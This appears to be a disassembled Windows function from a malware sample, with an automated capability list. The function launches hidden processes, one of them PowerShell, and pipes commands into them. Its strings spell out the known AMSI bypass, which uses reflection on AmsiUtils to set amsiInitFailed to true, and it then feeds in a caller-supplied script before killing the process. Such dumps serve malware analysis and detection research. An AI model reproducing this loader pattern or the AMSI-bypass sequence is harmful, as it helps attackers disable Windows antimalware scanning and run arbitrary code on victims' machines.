Function at 0x40fb9c
Capabilities:
Create pipe
Create process on windows
Create two anonymous pipes
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42c11a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x168
push 0x44
push 0
lea eax, [ebp - 0x130]
push eax
call fcn.00412780
add esp, 0xc
mov dword [ebp - 0x130], 0x44
push 0x10
push 0
lea eax, [ebp - 0x34]
push eax
call fcn.00412780
add esp, 0xc
mov dword [ebp - 0x80], 0xc
and dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 1
push 0
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x40fc18
push 0xffffffffffffffff
call fcn.00418882
mov dword [ebp - 0x104], 0x100
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xf8], eax
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0xf4], eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0xf0], eax
push 0x42d9c0
lea ecx, [ebp - 0xec]
call fcn.0040688f
and dword [ebp - 4], 0
push 0x42d9d0
lea ecx, [ebp - 0xec]
call fcn.00410248
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x130]
push eax
push 0
push 0
push 0x8000000
push 1
push 0
push 0
lea ecx, [ebp - 0xec]
call fcn.0040db26
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40fca4
push 0xffffffffffffffff
call fcn.00418882
push 0x3a98
push dword [ebp - 0x34]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x42d9dc
lea ecx, [ebp - 0x74]
call fcn.004066ca
mov byte [ebp - 4], 1
push 0x42d9e8
lea ecx, [ebp - 0x74]
call fcn.0040f894
push 0x42d9f8
lea ecx, [ebp - 0x74]
call fcn.0040f894
push 0x42da08
lea ecx, [ebp - 0x74]
call fcn.0040f894
push 0x42da54
lea ecx, [ebp - 0x74]
call fcn.0040f894
push 0x42da64
lea ecx, [ebp - 0x74]
call fcn.0040f894
push 0x42daa0
lea ecx, [ebp - 0x74]
call fcn.0040f894
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x74]
call fcn.0040b71d
push eax
lea ecx, [ebp - 0x74]
call fcn.0040db15
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40fd48
push 0xffffffffffffffff
call fcn.00418882
push 0x3e8
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 0xc]
push dword [ebp + 8]
lea ecx, [ebp - 0xd4]
call fcn.004101a6
mov byte [ebp - 4], 2
push 0x42dabc
lea ecx, [ebp - 0xd4]
call fcn.0040f894
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0xd4]
call fcn.0040b71d
push eax
lea ecx, [ebp - 0xd4]
call fcn.0040db15
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40fdad
push 0xffffffffffffffff
call fcn.00418882
push 0x2710
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x44
push 0
lea eax, [ebp - 0x174]
push eax
call fcn.00412780
add esp, 0xc
mov dword [ebp - 0x174], 0x44
push 0x10
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.00412780
add esp, 0xc
mov dword [ebp - 0x8c], 0xc
and dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 1
push 0
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x40fe54
push 0xffffffffffffffff
call fcn.00418882
mov dword [ebp - 0x148], 0x100
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x13c], eax
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x138], eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x134], eax
push str.powers
lea ecx, [ebp - 0xa4]
call fcn.0040688f
mov byte [ebp - 4], 3
push str.hell
lea ecx, [ebp - 0xa4]
call fcn.00410248
push str.__Com
lea ecx, [ebp - 0xa4]
call fcn.00410248
push str.mand__
lea ecx, [ebp - 0xa4]
call fcn.00410248
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x174]
push eax
push 0
push 0
push 0x8000000
push 1
push 0
push 0
lea ecx, [ebp - 0xa4]
call fcn.0040db26
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40ff00
push 0xffffffffffffffff
call fcn.00418882
push 0x3a98
push dword [ebp - 0x44]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._a_Ref__n
lea ecx, [ebp - 0x5c]
call fcn.004066ca
mov byte [ebp - 4], 4
push str._b_a.Assembly_n
lea ecx, [ebp - 0x5c]
call fcn.0040f894
push str._c_b.GetType
lea ecx, [ebp - 0x5c]
call fcn.0040f894
push str._System.Management.Automation.AmsiUtils_
lea ecx, [ebp - 0x5c]
call fcn.0040f894
push str._n_d_c.GetField
lea ecx, [ebp - 0x5c]
call fcn.0040f894
push str._amsiInitFailed_NonPublic_Static_
lea ecx, [ebp - 0x5c]
call fcn.0040f894
push str._n_d.SetValue__null__true__n
lea ecx, [ebp - 0x5c]
call fcn.0040f894
push 0
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x5c]
call fcn.0040b71d
push eax
lea ecx, [ebp - 0x5c]
call fcn.0040db15
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40ffa4
push 0xffffffffffffffff
call fcn.00418882
push 0x3e8
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 0xc]
push dword [ebp + 8]
lea ecx, [ebp - 0xbc]
call fcn.004101a6
mov byte [ebp - 4], 5
push 0x42dbd8
lea ecx, [ebp - 0xbc]
call fcn.0040f894
push 0
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0xbc]
call fcn.0040b71d
push eax
lea ecx, [ebp - 0xbc]
call fcn.0040db15
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x410009
push 0xffffffffffffffff
call fcn.00418882
push 0x2710
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xbc]
call fcn.00407335
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x5c]
call fcn.00407335
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa4]
call fcn.0040734e
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd4]
call fcn.00407335
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x74]
call fcn.00407335
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xec]
call fcn.0040734e
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret